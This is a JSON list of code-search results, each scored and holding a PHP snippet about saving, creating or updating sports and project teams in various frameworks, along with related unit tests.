[ { "docid": "c2d9e1e13bb5618e9728ad67face3070", "score": "0.7458352", "text": "public function test_save_unsaved_tournament() {\n //Verify that we're starting with a fresh unchanged tournament - then trigger a change\n $this->get_tournament_new();\n $this->object = &$this->tournament->team();\n $this->tournament->title = 'asdf';\n\n //Create new team\n $team = $this->tournament->team();\n $team->display_name = 'Should never be saved';\n\n //Team should not let us save\n $this->assertFalse($team->save());\n\n //Clean up\n $team->delete();\n }", "title": "" }, { "docid": "263b904051e170c2e7a364adb9413920", "score": "0.74343216", "text": "public function save(\\Magento\\Company\\Api\\Data\\TeamInterface $team);", "title": "" }, { "docid": "31988a2bdacf962ac0f8476c5d8f528b", "score": "0.7046888", "text": "public function save()\n {\n $team = $this->valores();\n unset($team['idTeam']);\n\n $team['idUser'] = $this->usuario->idUser;\n unset($team['usuario']);\n\n $team['idProject'] = $this->project->idProject;\n unset($team['project']);\n\n if (empty($this->idTeam)) {\n $this->insert($team);\n $this->idTeam = self::$conn->lastInsertId();\n } else {\n $this->update($this->idTeam, $team);\n }\n }", "title": "" }, { "docid": "70555848dc93ee4ab775b914c1d35d85", "score": "0.70269674", "text": "public function saveTeamAction(){\n \n $em = $this->getDoctrine()->getEntityManager(); \n $request = $this->get(\"request\");\n $data = $request->getContent();\n $data = json_decode($data, true);\n $cities = $data['cities'];\n $tournamentId = $data['tournament'];\n\n $tournament = $em->getRepository(\"LiderBundle:Tournament\")->findOneBy(array(\"id\" => $tournamentId, \"deleted\" => false));\n\t\t\n $tournamentTeams = $em->getRepository(\"LiderBundle:Team\")->findBy(array(\"tournament\" => $tournamentId, \"deleted\" => false));\n \n foreach ($tournamentTeams as $value) {\n $value->setDeleted(true);\n }\n $em->flush();\n\n foreach ($cities as $value) {\n foreach ($value['teams'] as $val) {\n $team = new Team();\n $team->setName($val['name']);\n $team->setTournament($tournament);\n \n foreach ($val['players'] as $v) {\n $player = $em->getRepository(\"LiderBundle:Player\")->findOneBy(array(\"id\" => $v['id'], \"deleted\" => false));\n if(!$player)\n throw new \\Exception(\"Player no found\");\n\n $player->setTeam($team);\n }\n $em->persist($team);\n \n }\n }\n\n $em->flush();\n\n return $this->get(\"talker\")->response($this->getAnswer(true, $this->save_successful));\n }", "title": "" }, { "docid": "57ec8e6d3319d3a481ef223eefd4f0d5", "score": "0.68100274", "text": "public function testTeamModelCreate()\n {\n $teams = factory(Team::class,3)->create();\n\n foreach($teams as $team){\n $this->assertDatabaseHas('teams', ['tid' => $team->tid]);\n }\n }", "title": "" }, { "docid": "a3d16af3ada2befe4bea80af4237176d", "score": "0.68035316", "text": "protected function saveTeam($item)\n { \n $results = $this->results;\n \n $key = $item['key'];\n $num = (int)$item['num'];\n $levelKey = $item['levelKey'];\n $projectKey = $item['projectKey'];\n \n $team = $this->teamRepo->findOneByKey($key);\n \n if (!$team)\n {\n // Its been deleted\n if ($num < 0) return;\n\n $team = $this->teamRepo->createTeam();\n $team->setKey ($key);\n $team->setNum ($num);\n $team->setLevelKey ($levelKey);\n $team->setProjectKey($projectKey);\n \n $team->setName ($item['name']);\n $team->setOrgKey($item['region']);\n $team->setPoints($item['points']);\n \n $results->created++;\n $this->teamRepo->persist($team);\n $this->dispatch($team);\n return;\n }\n if ($num < 0)\n {\n // Delete\n // TODO: Dispatch a RemovedTeam message\n $this->teamRepo->remove($team);\n $results->deleted++;\n return;\n }\n $changed = false;\n\n if ($item['name'] != $team->getName())\n {\n // TODO: Need to propogate name changes to the game_team\n // Or maybe send an event?\n $team->setName($item['name']);\n if (!$changed) $results->updated++;\n $changed = true;\n }\n if ($item['region'] != $team->getOrgKey())\n {\n $team->setOrgKey($item['region']);\n if (!$changed) $results->updated++;\n $changed = true;\n }\n if ($item['points'] != $team->getPoints())\n {\n $team->setPoints($item['points']);\n if (!$changed) $results->updated++;\n $changed = true;\n }\n if ($changed) $this->dispatch($team);\n }", "title": "" }, { "docid": "37bad864da69a2946c131eefb5f4879e", "score": "0.6692203", "text": "public function save_teams()\n {\n $deleteSuccess = 0;\n $insertSuccess = 0;\n \n if (!empty($this->teams_to_delete) && isset($this->teams_to_delete))\n {\n //call delete_teams_from_db() function to delete teams from database\n $deleteSuccess = $this->delete_teams_from_db();\n }\n if (!empty($this->teams_to_add) && isset($this->teams_to_add))\n {\n //call insert_teams_into_db() function to insert teams into database\n $insertSuccess = $this->insert_teams_into_db();\n }\n \n //check if all teams of the passed array have been inserted/deleted successfully\n if ($deleteSuccess == count($this->teams_to_delete) || count($this->teams_to_add) == $insertSuccess)\n {\n //call regenerate_new_url function to regenerate new key and url\n $new_generated_url = $this->regenerate_new_url();\n\n //call regenerate_new_org_chart function to regenerate org chart for the new tree with saved data\n $this->new_generated_org_chart = $this->regenerate_new_org_chart();\n\n //call regenerate_new_tree function to regenerate tree with newly saved teams\n $new_generated_tree = $this->regenerate_new_tree();\n\n //return newly generated tree and url as array provided both values are not empty\n if ($new_generated_url && !empty($new_generated_tree))\n {\n $saveDataReturnArray = array(\n \"newTree\" => $new_generated_tree,\n \"newUrl\" => $new_generated_url\n );\n echo json_encode($saveDataReturnArray);\n }\n //return 404 failure error\n else\n {\n echo 404;\n }\n\n }\n\n }", "title": "" }, { "docid": "8e6018ea0e12ddaadd5a630ff9a8a4a7", "score": "0.6486616", "text": "public function store()\n {\n $this->validate(request(), [\n 'title' => 'required|min:5',\n 'description' => 'required'\n ]);\n\n auth()->user()->addTeam(\n new Team(request(['title', 'description']))\n );\n\n return redirect('/home');\n }", "title": "" }, { "docid": "5eb04fc62e905ff538748fd724ade0d9", "score": "0.64815795", "text": "public function testSave()\n\t{\n\t}", "title": "" }, { "docid": "fead245c5eb0171b08dd01d6062f93d4", "score": "0.64706826", "text": "public function updateTeamTournamentAction()\n {\n $em = $this->getDoctrine()->getEntityManager();\n\n $teams = $em->getRepository(\"LiderBundle:Team\")->findBy(array(\"deleted\" => false));\n \n foreach ($teams as $team) {\n if($team->getGroup()){ \n $team->setTournament($team->getGroup()->getTournament()); \n } \n }\n $em->flush();\n\n return $this->get(\"talker\")->response($this->getAnswer(true, $this->update_successful));\n }", "title": "" }, { "docid": "b810d261ebaff19d262865da97a39ccf", "score": "0.6439599", "text": "function testTeamAdd() {\n\n $data = array(\n 'sportCategoryId' => 1,\n 'name' => \"Add Team\". md5(date('Y-m-d H:i:s').rand(1,100)) ,\n );\n\n // To verify add dailyshow under or over Team is invalid\n //=========================================\n // To verify data is empty\n $dataInvalid = '';\n $testResultFirst = $this->parlayouteam->add( $dataInvalid );\n\n if (is_array($testResultFirst) && isset($testResultFirst['message']) ) {\n\n $this->assertContains( $testResultFirst['message'], 'Please enter the required data', 'To verify data is empty');\n }\n\n // To verify Team catagoryId is invalid\n $categoryIdInvalid = array('', null, 0, -1);\n foreach ($categoryIdInvalid as $value) {\n\n $category = $data;\n $category['sportCategoryId'] = $value;\n $testResultSecond = $this->parlayouteam->add( $category );\n\n if( is_array($testResultSecond) && isset($testResultSecond['message'])) {\n\n if( !empty($value) ) {\n\n\n $this->assertContains( $testResultSecond['message'][0], 'The sportCategoryId field must contain a number greater than 0.', 'To verify catagoryId is invalid' );\n\n } else {\n\n $this->assertContains( $testResultSecond['message'][0], 'The sportCategoryId field is required.', 'To verify catagoryId is invalid' );\n }\n\n }\n }\n\n // To verify Team team1 is invalid\n $nameInvalid = $data;\n $nameInvalid['name'] = '';\n $testResultThird = $this->parlayouteam->add( $nameInvalid );\n\n if( is_array($testResultThird) && isset($testResultThird['message'])) {\n\n $this->assertContains( $testResultThird['message'][0], 'The name field is required.', 'To verify name is invalid' );\n\n }\n\n // To verify add dailyshow under or over Team is valid\n //=========================================\n $testResultFourth = $this->parlayouteam->add( $data );\n\n if ( is_object($testResultFourth) ) {\n\n // To verify categoryId return must be categoryId from input\n $this->assertEquals( $data['sportCategoryId'], (int)$testResultFourth->sportCategoryId , 'To verify categoryId return must be categoryId from input');\n\n // To verify name return must be name from input\n $this->assertEquals( substr( $data['name'], 0, 50 ), $testResultFourth->name , 'To verify name return must be name from input');\n\n } else {\n\n $this->assertTrue( FALSE, \"Can't verify add team dailyshow under or over is case valid\") ;\n }\n\n }", "title": "" }, { "docid": "caf894ba1a1b1438dd657fff5fc9568b", "score": "0.6386149", "text": "public function store(TeamRequest $request)\n {\n //\n $this->validate($request, $this->rules, $this->errorMessages);\n $team = new Team();\n $team->name = $request->input('name');\n $team->status = 0;\n //$team->id = $request->input('id');\n \n $res = $team->save();\n \n //$name = request()->input('name');\n $messaggio = $res ? 'Team ' . $request->input('name') . ' creato' : 'Team ' . $request->input('name') . ' non creato';\n session()->flash('message', $messaggio);\n return redirect()->route('team.index');\n }", "title": "" }, { "docid": "ac9fdc58332fd3ecac7011fa899238d0", "score": "0.63658005", "text": "public function testSave() {\n $record = $this->getApp()->getModel('test')->create(array(\n 'rand' => rand(0, 1000),\n 'name' => 'John'\n ));\n $this->assert(\n $record->save()->getId() > 0\n );\n }", "title": "" }, { "docid": "9bd9e5001a9140838b38e8a20ccb65a5", "score": "0.6309934", "text": "public function store(Request $request)\n {\n $save_team = New Team;\n \n $save_team->team_name = $request->team_name;\n if (auth()->user()) {\n $save_team->user_id = auth()->user()->id;\n }else {\n $save_team->user_id = '';\n }\n \n $save_team->save();\n\n if ($save_team) {\n\n }else {\n Toastr::success('Team Fail to Create!','Error');\n return redirect()->route('user');\n // ->with('error','Employee Fail to add!');\n }\n\n Toastr::success('Team successfully Created!','Success');\n return redirect()->route('team.index');\n }", "title": "" }, { "docid": "8e9bf4c125e237261564041668fb5a95", "score": "0.627908", "text": "public function teamCreateAction()\n {\n $request = $this->getRequest();\n $user = $this->get('security.context')->getToken()->getUser();\n $em = $this->getDoctrine()->getManager();\n $team = new Team();\n $name_form = $this->createForm(new TeamNameType(), $team);\n $name_form->bindRequest($request);\n $team_found = $this->getDoctrine()->getRepository('IBWWebsiteBundle:Team')->findOneByName($team->getName());\n if ($team_found === null) {\n $user_team = new UserTeam();\n $team->setOwner($user);\n $user_team->setTeam($team);\n $user_team->setUser($user);\n $validator = $this->get('validator');\n $errors = $validator->validate($team);\n if (count($errors) == 0) {\n $em->persist($team);\n $em->persist($user_team);\n $em->flush();\n $message = $this->container->getParameter('message_team_created');\n $this->get('session')->getFlashBag()->add('messages', $message);\n } else {\n foreach ($errors as $error) {\n $this->get('session')->getFlashBag()->add('errors', $error->getMessage());\n }\n }\n } else {\n $error = $this->container->getParameter('team_name_taken');\n $this->get('session')->getFlashBag()->add('errors', $error);\n }\n return $this->redirect($this->generateUrl('ibw_website_teams_page'));\n }", "title": "" }, { "docid": "4e290aa34e7fced166446173f5e277b0", "score": "0.6261819", "text": "function testSave()\n {\n $input = $this->setUpTestInput();\n $this->SurveyGroupSet->save($input);\n\n // Assert that data has been saved in database\n $searchedAll = $this->SurveyGroupSet->find('first', array('conditions' => array('SurveyGroupSet.id' => 50), 'contain' => false));\n $searchedSurveyGroup = $this->SurveyGroup->find('first', array('conditions' => array('group_set_id' => 50), 'contain' => false));\n $searchedSurveyGroupMember1 = $this->SurveyGroupMember->find('first', array('conditions' => array('group_set_id' => 50, 'user_id' => 10)));\n $searchedSurveyGroupMember2 = $this->SurveyGroupMember->find('first', array('conditions' => array('group_set_id' => 50, 'user_id' => 11)));\n $this->assertTrue(!empty($searchedAll));\n $this->assertTrue(!empty($searchedSurveyGroup));\n $this->assertTrue(!empty($searchedSurveyGroupMember1));\n $this->assertTrue(!empty($searchedSurveyGroupMember2));\n $this->assertNotNull($searchedAll);\n $this->assertNotNull($searchedSurveyGroup);\n $this->assertNotNull($searchedSurveyGroupMember1);\n $this->assertNotNull($searchedSurveyGroupMember2);\n $this->assertTrue(isset($searchedAll));\n $this->assertTrue(isset($searchedSurveyGroup));\n $this->assertTrue(isset($searchedSurveyGroupMember1));\n $this->assertTrue(isset($searchedSurveyGroupMember2));\n\n // Assert the data is saved correctly\n $this->assertEqual($searchedAll['SurveyGroupSet']['id'], 50);\n $this->assertEqual($searchedAll['SurveyGroupSet']['survey_id'], 1);\n $this->assertEqual($searchedAll['SurveyGroupSet']['set_description'], 'Test Group');\n $this->assertEqual($searchedSurveyGroup['SurveyGroup']['group_set_id'], 50);\n $this->assertEqual($searchedSurveyGroupMember1['SurveyGroupMember']['id'], 37);\n $this->assertEqual($searchedSurveyGroupMember2['SurveyGroupMember']['id'], 38);\n }", "title": "" }, { "docid": "91b7c055c1d3f7d1f2fd7370736edcb1", "score": "0.62579405", "text": "public function test_update() {\n $this->assertNull($this->object->id);\n $this->assertSave($this->object->save());\n //\n $this->object->display_name = 'updated + banned';\n $this->assertTrue($this->object->ban());\n $this->assertSave($this->object->save());\n //\n $this->AssertTeamValueExternally($this->object->id, 'display_name', 'updated + banned');\n $this->AssertTeamValueExternally($this->object->id, 'status', -1);\n }", "title": "" }, { "docid": "9cbd5a052e6ee0d2e2a7866da2de6285", "score": "0.62299013", "text": "public function create(\\Magento\\Company\\Api\\Data\\TeamInterface $team, $companyId);", "title": "" }, { "docid": "a1c1899230c3e03c3ebe27d762152dc0", "score": "0.6199284", "text": "function test_save()\n {\n //Arrange\n $stylist_name = \"Monica\";\n $test_stylist = new Stylist($stylist_name);\n\n //Act\n $test_stylist->save();\n\n //Assert\n $result = Stylist::getAll();\n $this->assertEquals($test_stylist, $result[0]);\n }", "title": "" }, { "docid": "6e4cae581149b1a9e4dd84748486c6d6", "score": "0.6193717", "text": "function testSaveNewOne()\r\n {\r\n $this->id = $this->roleModel->save($this->modelArray);\r\n $this->assertGreaterThan(0,$this->id);\r\n }", "title": "" }, { "docid": "ef637067293d29461b088b932be95a29", "score": "0.6189291", "text": "private function save_teams($type = 'insert', $id = 0)\n {\n if ($type == 'update') {\n $_POST['id'] = $id;\n }\n\n $data = array();\n\t\t$data['name'] = $this->input->post('name');\n\t\t$data['league_id'] = $this->input->post('league_id');\n\t\t$data['logo'] = $this->input->post('logo');\n\n // Additional handling for default values should be added below,\n // or in the model's prep_data() method\n \n\n $return = false;\n if ($type == 'insert') {\n\t\t\n\t\t\t$fdata = $this->savenew();\n\t\t\t// We're only really storing the name of the file in the db, so we can point at the right file in our view.\n\t\t\tif($fdata['upload_data'] != NULL) {\n\t\t\t\t$data['logo'] = $fdata['upload_data']['file_name'];\n\t\t\t} else {\n\t\t\t\t$data['logo'] = 'team.png';\n\t\t\t} \n\t\t\t\n $id = $this->teams_model->insert($data);\n\n if (is_numeric($id)) {\n $return = $id;\n }\n\t\t\telse\n\t\t\t{\n\t\t\t\t$return = FALSE;\n\t\t\t}\n\t\t}\t\n\t\t\n\t\telseif ($type == 'update') \n\t\t{\n\t\t if($this->input->post('logo')) \n\t\t\t{\n\t\t\t $fdata = $this->savenew(); \n\t\t\t $data['logo'] = !empty($fdata['upload_data']['file_name'])?$fdata['upload_data']['file_name']:$this->input->post('current_logo'); \n\t\t\t}\n\t\t\telse \n\t\t\t{ \n\t\t\t $data['logo'] = $this->input->post('current_logo'); \n\t\t\t}\n\t\t\t\n $return = $this->teams_model->update($id, $data);\n }\n\n return $return;\n }", "title": "" }, { "docid": "39c351a281475cc523f4593896d1cdda", "score": "0.6182177", "text": "public function testSave()\n {\n $this->todo('stub');\n }", "title": "" }, { "docid": "e6de16d49c66005505a7d3c0a7ecca41", "score": "0.6180696", "text": "public function test_cache() {\n $this->assertID( $id = $this->object->save() );\n $tournament = $this->object->tournament();\n\n $this->assertArrayContains($tournament->teams(), $this->object);\n $this->assertArrayContains($tournament->confirmed_teams(), $this->object);\n\n //Update\n $this->object->display_name = ($name = uniqid());\n $this->object->save();\n\n //Test BBTeam::load()\n $this->AssertTeamValueExternally($this->object, 'display_name', $name);\n\n //Fetch a fresh tournament and check\n $fresh_tournament = $this->bb->tournament($tournament->id);\n $fresh = $fresh_tournament->team($id);\n\n $this->assertEquals($name, $fresh->display_name);\n\n //Delete!\n $this->object->delete();\n\n //Test BBTeam::load()\n $fresh = $this->bb->team($id);\n $this->assertFalse($fresh->load());\n\n //Test BinaryBeast::teams()\n $fresh_tournament = $this->bb->tournament($tournament->id);\n $this->assertArrayNotContains($tournament->teams(true), $id);\n $this->assertArrayNotContains($fresh_tournament->teams(true), $id);\n }", "title": "" }, { "docid": "5b7d05f9ef3b8de0be253d23499a8f00", "score": "0.61479354", "text": "public function testUpdated()\n {\n \t$player_factory = factory(Player::class)->create();\n \t$player_factory->name = sprintf('Randon name %s', microtime());\n\n $this->assertTrue($player_factory->save());\n }", "title": "" }, { "docid": "5c3b742dd34993c7acca91c9c15ecc97", "score": "0.61084294", "text": "public function run()\n {\n DB::table('match_team')->insert(config('fake_data')['match_team']);\n }", "title": "" }, { "docid": "2e353ca274b3ff543ba1de27d0a9255a", "score": "0.61056256", "text": "public function createTeam(Request $request){\n $team = new TeamModel();\n $team->title = $request->title;\n $team->status = 0;\n $team->content = '';\n $team->user_id = Auth::user()->id;\n $team->save();\n // Mac dinh nguoi tao team se la truong nhom\n $member_team = new MemberTeamModel();\n $member_team->user_id = Auth::user()->id;\n $member_team->team_id = $team->id;\n $member_team->level = 1;\n $member_team->save();\n return Response()->json(array('ok'=>$request->all(),'success'=>'ok'));\n }", "title": "" }, { "docid": "3cbe8eb490213189fa77d12419556a36", "score": "0.6097537", "text": "public function testStoreWithCorrectData(): void\n {\n factory(Language::class)->create();\n\n $name = $this->faker()->name;\n\n $this->actingAsUser()->post('/projects', [\n 'name' => $name,\n 'visibility' => factory(Project::class)->make()->visibility,\n ])\n ->assertSessionHasNoErrors()\n ->assertRedirect();\n\n $this->assertDatabaseHas('projects', ['name' => $name]);\n }", "title": "" }, { "docid": "770496f8c94c7a41b77d412621f88970", "score": "0.6080903", "text": "public function testWorkflowsIdTeamGet()\n {\n\n }", "title": "" }, { "docid": "120725c4d16c6540709148463ddefe4c", "score": "0.6056705", "text": "function testSaveExistent()\r\n {\r\n $this->id = $this->roleModel->create($this->modelArray);\r\n $this->modelArray['id'] = $this->id;\r\n $new_id = $this->roleModel->save($this->modelArray);\r\n $this->assertEquals($new_id,$this->id);\r\n }", "title": "" }, { "docid": "dc289bdd73d644f6e88d9c2cd7aaf02c", "score": "0.6054671", "text": "public function a_team_has_a_name()\n {\n $team=new ModelTeam(['name'=>'Flexi']);\n\n $this->assertEquals('Flexi',$team->name);\n }", "title": "" }, { "docid": "5d7cfe0a72dc284cfd793f1c9adb048c", "score": "0.60535425", "text": "public function store(Request $request)\n {\n try {\n $this->validate($request, [\n 'name' => 'required|max:255',\n 'league_id' => 'required|integer',\n ]);\n $team = new Team;\n $team->name = $request->name;\n $team->league_id = $request->league_id;\n $team->logo = $request->logo;\n $team->picture = $request->picture;\n\n $team->save();\n\n $team->players()->sync($request->players, false);\n\n $this->setSession('alert-success', 'New TEAM has been created');\n\n\n }catch (\\Exception $e) {\n $this->setSession('alert-danger', $e->getMessage());\n }\n\n return redirect()->route('teams.index');\n }", "title": "" }, { "docid": "51db78fdb27d6cb48d6696a53ea8060f", "score": "0.6050983", "text": "public function test_saveUser(){\n\t}", "title": "" }, { "docid": "772ab10db971c608b844f2bbe8ab794a", "score": "0.60489756", "text": "function test_save()\n {\n //Arrange\n $title = \"Great Gatsby\";\n $id = null;\n $genre = '2016-01-01';\n $test_book = new Book($title, $genre, $id);\n\n //Act\n $test_book->save();\n $result = Book::getAll();\n\n //Assert\n $this->assertEquals([$test_book], $result);\n }", "title": "" }, { "docid": "ec7764e23442f49f90af4f9a9112a3e5", "score": "0.6023341", "text": "public function testGetTeams()\n {\n }", "title": "" }, { "docid": "f792c256061e532fbb76f73b23a25773", "score": "0.60113084", "text": "function test_save()\n {\n //Arrange\n $name = \"Sketchers\";\n $id = 1;\n $test_brand = new Brand($name, $id);\n $test_brand->save();\n\n //Act\n $result = Brand::getAll();\n\n //Assert\n\n $this->assertEquals($test_brand, $result[0]);\n }", "title": "" }, { "docid": "068a1fc79f446ced3ba620e4761b84fe", "score": "0.6010651", "text": "public function testSave()\n {\n Model::unguard();\n\n $allocation = new Allocation();\n $allocation->booking_id = 1;\n $allocation->vehicle_id = 1;\n $allocation->save();\n\n $allocation->trackingTasks()->save(new TrackingTask());\n\n $this->assertNotNull($allocation->trackingTasks);\n\n Model::unguard();\n }", "title": "" }, { "docid": "1f4129082c93933e607bf6a1377150df", "score": "0.60062855", "text": "public function saveAction()\n {\n\n if (!$this->request->isPost()) {\n return $this->dispatcher->forward(array(\n \"controller\" => \"user_raise_team\",\n \"action\" => \"edit\",\n \"params\" => array($this->request->getPost(\"raise_id\"))\n ));\n }\n\n $tmmember_id = $this->request->getPost(\"tmmember_id\");\n\n if(!empty($tmmember_id)){\n $dtb_raise_project_team = DtbRaiseProjectTeam::findFirstBytmmember_id($tmmember_id);\n if (!$dtb_raise_project_team) {\n $this->flash->error(\"dtb_raise_project_team does not exist \" . $tmmember_id);\n }\n\n $dtb_raise_project_team_work_info=DtbRaiseProjectTeamWorkInfo::findFirstBytmmember_id($tmmember_id);\n if (!$dtb_raise_project_team_work_info)\n $dtb_raise_project_team_work_info=new DtbRaiseProjectTeamWorkInfo();\n\n $dtb_raise_project_team_cert=DtbRaiseProjectTeamCertificate::findFirstBytmmember_id($tmmember_id);\n if (!$dtb_raise_project_team_cert)\n $dtb_raise_project_team_cert=new DtbRaiseProjectTeamCertificate();\n\n $dtb_raise_project_team_edc=DtbRaiseProjectTeamEducation::findFirstBytmmember_id($tmmember_id);\n if (!$dtb_raise_project_team_edc)\n $dtb_raise_project_team_edc=new DtbRaiseProjectTeamEducation();\n\n }else{\n $dtb_raise_project_team=new DtbRaiseProjectTeam();\n $dtb_raise_project_team_work_info=new DtbRaiseProjectTeamWorkInfo();\n $dtb_raise_project_team_cert=new DtbRaiseProjectTeamCertificate();\n $dtb_raise_project_team_edc= new DtbRaiseProjectTeamEducation();\n }\n\n\n\n $dtb_raise_project_team->setRaiseId($this->request->getPost(\"raise_id\"));\n $dtb_raise_project_team->setUserName($this->request->getPost(\"user_name\"));\n $dtb_raise_project_team->setAvatar($this->request->getPost(\"avatar\"));\n $dtb_raise_project_team->setPosition($this->request->getPost(\"position\"));\n $dtb_raise_project_team->setCommitment($this->request->getPost(\"commitment\"));\n $dtb_raise_project_team->setOwnership($this->request->getPost(\"ownership\"));\n $dtb_raise_project_team->setNationality($this->request->getPost(\"nationality\"));\n $dtb_raise_project_team->setRole($this->request->getPost(\"role\"));\n $dtb_raise_project_team->setBirthday($this->request->getPost(\"birthday\"));\n $dtb_raise_project_team->setCountry($this->request->getPost(\"country\"));\n $dtb_raise_project_team->setCity($this->request->getPost(\"city\"));\n $dtb_raise_project_team->setAddress($this->request->getPost(\"address\"));\n $dtb_raise_project_team->setUpdateTs(time());\n\n\n $flag=false;\n $this->di['db']->begin();\n\n try{\n\n $res=$dtb_raise_project_team->save();\n $tmmember_id=$dtb_raise_project_team->getTmmemberId();\n\n $dtb_raise_project_team_work_info->setTmmemberId($tmmember_id);\n $dtb_raise_project_team_work_info->setCompany($this->request->getPost(\"company\"));\n $dtb_raise_project_team_work_info->setPosition($this->request->getPost(\"position\"));\n $dtb_raise_project_team_work_info->setStartTs(strtotime($this->request->getPost(\"start_ts\")));\n $dtb_raise_project_team_work_info->setEndTs(strtotime($this->request->getPost(\"end_ts\")));\n\n $dtb_raise_project_team_cert->setTmmemberId($tmmember_id);\n $dtb_raise_project_team_cert->setOrganization($this->request->getPost(\"organization\"));\n $dtb_raise_project_team_cert->setCertificateName($this->request->getPost(\"certificate_name\"));\n $dtb_raise_project_team_cert->setRewardTs(strtotime($this->request->getPost(\"reward_ts\")));\n\n $dtb_raise_project_team_edc->setTmmemberId($tmmember_id);\n $dtb_raise_project_team_edc->setMajor($this->request->getPost(\"major\"));\n $dtb_raise_project_team_edc->setEducation($this->request->getPost(\"education\"));\n $dtb_raise_project_team_edc->setRewardTs(strtotime($this->request->getPost(\"reward_ts\")));\n\n\n $res1=$dtb_raise_project_team_work_info->save();\n $res2=$dtb_raise_project_team_cert->save();\n $res3=$dtb_raise_project_team_edc->save();\n\n if($res &&$res1 && $res2 && $res3 ){\n $this->di['db']->commit();\n $flag=true;\n }else{\n $this->di['db']->rollback();\n }\n\n\n\n }catch (Exception $ex){\n $this->di['db']->rollback();\n }\n\n if ($flag){\n $this->flash->success(\"dtb_raise_project_team was created successfully\");\n return $this->response->redirect('/user_raise_team/edit/'.$this->request->getPost(\"raise_id\"));\n\n }\n else{\n foreach ($dtb_raise_project_team->getMessages() as $message) {\n $this->flash->error($message);\n }\n\n foreach ($dtb_raise_project_team_work_info->getMessages() as $message) {\n $this->flash->error($message);\n }\n\n foreach ($dtb_raise_project_team_cert->getMessages() as $message) {\n $this->flash->error($message);\n }\n\n foreach ($dtb_raise_project_team_edc->getMessages() as $message) {\n $this->flash->error($message);\n }\n\n }\n\n\n }", "title": "" }, { "docid": "48f26aaf39577076eb457ca323fd700a", "score": "0.60030264", "text": "public function store(StoreTeamRequest $request): JsonResponse\n {\n $team = Team::create($request->validated());\n\n if ($team->id !== null) {\n return response()->json(['status' => 'success', 'team' => new TeamResource($team)], 201);\n }\n\n return response()->json(['status' => 'error', 'message' => 'unknown_error'], 500);\n }", "title": "" }, { "docid": "4cb8b36a49ba822508ce59375de82eee", "score": "0.6002031", "text": "public function test_set_race_id_batch() {\n $teams = array($this->object);\n\n $this->object->race = 7;\n\n for($x = 0; $x < 6; $x++) {\n $team = &$this->object->tournament->team();\n $team->race = $x % 2 == 0 ? 7 : 'Random';\n\n $teams[] = &$team;\n }\n $this->assertSave($this->object->tournament->save_teams());\n\n //Each new team should have an ID, and should have random race id + race\n foreach($teams as &$team) {\n $this->assertID($team->id);\n $this->assertEquals('Random', $team->race);\n $this->assertEquals(7, $team->race_id);\n }\n }", "title": "" }, { "docid": "7220028a06f589b84eedacd4cde5be5c", "score": "0.6001627", "text": "function test_save()\n {\n //Arrange\n $name = \"Mi Mero Mole\";\n $cuis_id = 1;\n $test_restaurant = new Restaurant($name, $cuis_id);\n\n //Act\n $test_restaurant->save();\n\n //Assert\n $result = Restaurant::getAll();\n $this->assertEquals($test_restaurant, $result[0]);\n }", "title": "" }, { "docid": "fbb1ccd8706ad03cd49158e0f49ab595", "score": "0.59789544", "text": "public function store(TeamRequest $teamRequest)\n {\n $attr = $teamRequest->all();\n $thumbnail = request()->file('thumbnail') ? request()->file('thumbnail')->store('images/teams') : null;\n $attr['thumbnail'] = $thumbnail;\n $attr['slug'] = Str::slug(request()->name);\n auth()->user()->teams()->create($attr);\n request()->session()->flash('berhasil', 'Berhasil di simpan');\n return redirect()->to('/teams');\n }", "title": "" }, { "docid": "d9c59810da7141f9ea16cf27e155d437", "score": "0.5970023", "text": "public function testSaveAndDestroy()\n {\n $player = factory(Player::class)->create();\n $lottery = factory(Lottery::class)->create();\n\n $this->mockRepository->shouldReceive('store')\n ->with([\n \"player_id\" => $player->id,\n \"player_type\" => $player->type,\n \"lottery_code\" => $lottery->code,\n \"state\" => config(\"contents.entry.state.win\")\n ])\n ->andReturn(true);\n\n $data = $this->service->create( $player, $lottery, \"win\" );\n $this->assertTrue($data);\n\n $data = $this->service->create( $player, $lottery, \"hoge\" );\n $this->assertFalse($data);\n }", "title": "" }, { "docid": "edc877bed335bf775bf8b9684a15a14b", "score": "0.5965228", "text": "public function store(Request $request)\n { \n //Create new tem for project \n $team= new Team;\n $team->name=$request->title;\n //$team->project_id=$id;\n $team->save();\n \n\n //create new project\n $project = new Project;\n\n $project->title = $request->title; \n $project->description=$request->description;\n $project->date_start=$request->date_start;\n $project->date_end=$request->date_end;\n $project->duration_day=$request->duration_day;\n $project->progress=$request->progress;\n $project->priority=$request->priority;\n // $project->class_priority=$request->class_priority;\n $project->client=$request->client;\n $project->status=$request->status;\n // $project->class_status=$request->class_status;\n // //$project->team_id=$request->team_id;\n $project->user_id=$request->user_id;\n $project->team_id=$team->id;\n $project->save();\n\n $team->project_id=$project->id;\n $team->save();\n\n $addusrtoteam = (new UserController)->addUserToTeam($project->user_id, $team->id);\n\n\n\n return $project; //importante altrimenti bacbone non riceve l'id in ritorno\n }", "title": "" }, { "docid": "80dc7b94c9fef4a23ebc7c01c9024aca", "score": "0.5953592", "text": "public function store(Request $request)\n {\n\n $team = new Team;\n\n\n $team->team_name = $request->team_name;\n $team->create_date = $request->create_date;\n $team->leader_name = $request->leader_name;\n $team->creative_name = $request->creative_name;\n $team->coach_name = $request->coach_name;\n $team->sert_number = $request->sert_number;\n $team->social = $request->social;\n $team->facebook = $request->facebook;\n $team->twiter = $request->twiter;\n $team->instagramm = $request->instagramm;\n $team->you_tube = $request->you_tube;\n $team->sponsors = $request->sponsors;\n\n\n\n if( $request->hasFile('image') ){\n\n $path = $request->file('image')->store('teams_image');\n $team->image = $path;\n }\n\n if( $request->hasFile('logo') ){\n\n $path1 = $request->file('logo')->store('teams_logo');\n $team->logo = $path1;\n }\n\n $team->details = $request->details;\n\n $team->statistic = serialize($request->statictic);\n\n $team->save();\n\n return redirect()->route('Teams.index');\n }", "title": "" }, { "docid": "27a0b69640c52640c88666826d1bec20", "score": "0.59441894", "text": "public function store(CreateTeamRequest $request)\n {\n $input = $request->all();\n\n $team = $this->teamRepository->store($input);\n\n return $this->sendResponse($team->toArray(), 'Team saved successfully.');\n }", "title": "" }, { "docid": "614f907d14f6ee17502a075ed0d6b166", "score": "0.59429246", "text": "public function testSave() {\n\n \n\n try\n {\n $object3 = new EdaEmails();\n\n $object3->setDireccion('Blas@gmail.com');\n $object3->setPredeterminado('1');\n $object3->setIdPersona('3');\n $object3->setIdOrganismo(null);\n\n $this->assertEquals(1, $object3->save());\n\n $this->assertNull($object3->delete());\n\n }catch (Exception $e)\n {\n throw $e;\n }\n\n }", "title": "" }, { "docid": 